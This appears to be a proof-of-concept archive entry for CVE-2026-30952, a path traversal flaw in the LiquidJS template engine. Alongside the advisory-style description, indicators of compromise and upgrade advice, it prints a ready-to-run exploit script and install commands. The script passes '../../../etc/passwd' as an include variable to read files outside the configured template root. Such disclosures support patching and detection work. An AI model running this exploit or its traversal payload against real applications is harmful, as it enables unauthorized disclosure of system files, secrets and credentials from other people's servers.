PoC Archive PoC Archive
High CVE-2026-30952 (GHSA-wmfp-5q7x-987x) unpatched

LiquidJS Template Engine Path Traversal — CVE-2026-30952

by Moriel Harush, Maor Caplan · 2026-07-05

CVSS 8.7/10
Severity
High
CVE
CVE-2026-30952 (GHSA-wmfp-5q7x-987x)
Category
misc
Affected product
liquidjs npm package (LiquidJS template engine)
Affected versions
< 10.25.0
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherMoriel Harush, Maor Caplan
CVE / AdvisoryCVE-2026-30952 (GHSA-wmfp-5q7x-987x)
Categorymisc
SeverityHigh
CVSS Score8.7 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)
StatusPoC
Tagsliquidjs, path-traversal, template-engine, arbitrary-file-read, nodejs, library, ssti-adjacent
RelatedN/A

Affected Target

FieldValue
Software / Systemliquidjs npm package (LiquidJS template engine)
Versions Affected< 10.25.0
Language / PlatformJavaScript/Node.js
Authentication RequiredNo (depends on how the host application exposes template rendering/variables to users)
Network Access RequiredNo (library-level; exploitable wherever attacker-influenced template variables reach layout/render/include)

Summary

LiquidJS’s layout, render, and include tags can resolve absolute file paths even when a root directory restriction is configured, because the library’s fallback path-resolution logic does not properly verify that the resolved path stays within the configured root. An attacker who can influence the variable passed to one of these tags (e.g. via a data-driven include) can supply a relative-traversal path such as ../../../etc/passwd, causing LiquidJS to read and render the contents of an arbitrary file on the host filesystem — even though a root/partials restriction was explicitly configured.


Vulnerability Details

Root Cause

LiquidJS’s tag resolution for layout/render/include falls back to treating attacker-supplied path variables as directly resolvable paths without confirming the final resolved path remains within the configured root/partials directories, allowing ../ traversal sequences to escape the sandbox.

Attack Vector

  1. Application uses LiquidJS with a root/partials restriction (e.g. new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true })), intending to scope template includes to a safe directory.
  2. Attacker controls (directly or indirectly) the value passed as the page variable used in a template such as {% include page %}.
  3. Attacker supplies a traversal path, e.g. ../../../etc/passwd, as the value of page.
  4. LiquidJS resolves and reads the file outside the configured root, returning its contents in the rendered output.

Impact

Arbitrary file read/disclosure on the host filesystem in any application that renders LiquidJS templates with attacker-influenced layout/render/include variables, potentially exposing secrets, configuration, or credentials.


Environment / Lab Setup

Target:   Node.js application using liquidjs@10.24.0 (or earlier < 10.25.0)
Attacker: Node.js runtime to run exploit.js

Proof of Concept

PoC Script

See exploit.js and package.json in this folder.

1
2
3
npm install liquidjs@10.24.0
npm install
node exploit.js
1
2
3
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

The exploit configures LiquidJS with a root/partials restriction, then renders a template whose include target is attacker-controlled and set to a traversal path, printing the contents of /etc/passwd despite the configured sandbox.


Detection & Indicators of Compromise

Signs of compromise:

  • Template rendering output containing unexpected file contents (e.g. /etc/passwd-style data) instead of expected partials
  • Application-layer input containing ../ traversal sequences in fields later used as template include/layout variables
  • Anomalous filesystem read access by the Node.js process outside its expected template directories

Remediation

ActionDetail
Primary fixUpgrade liquidjs to 10.25.0 or later
Interim mitigationNever pass unsanitized user input directly as layout/render/include tag variables; validate resolved paths against the intended root directory at the application layer as defense in depth

References


Notes

Mirrored from https://github.com/MorielHarush/CVE-2026-30952-PoC on 2026-07-05.

exploit.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const { Liquid } = require('liquidjs');
const fs = require('fs');
const path = require('path');

const engine = new Liquid({ 
    root: ['/tmp'], 
    partials: ['/tmp'], 
    dynamicPartials: true 
});

async function runExploit() {
    console.log("\x1b[33m[!] Initializing CVE-2026-30952 Path Traversal PoC...\x1b[0m");

    const payload = { page: '../../../etc/passwd' };
    const template = '{% include page %}';

    console.log(`[+] Attempting to include: ${payload.page}`);
    console.log(`[+] Using template: ${template}`);

    try {
        const output = await engine.parseAndRender(template, payload);
        
        console.log("\n\x1b[32m[SUCCESS] Vulnerability Confirmed! File content leaked:\x1b[0m");
        console.log(output.slice(0, 500)); // Displaying first 500 chars
        console.log("--------------------------------------------------");
        
    } catch (error) {
        console.error("\n\x1b[31m[FAILED] Could not leak file. Check if the file exists or if the version is patched.\x1b[0m");
        console.error(error.message);
    }
}

runExploit();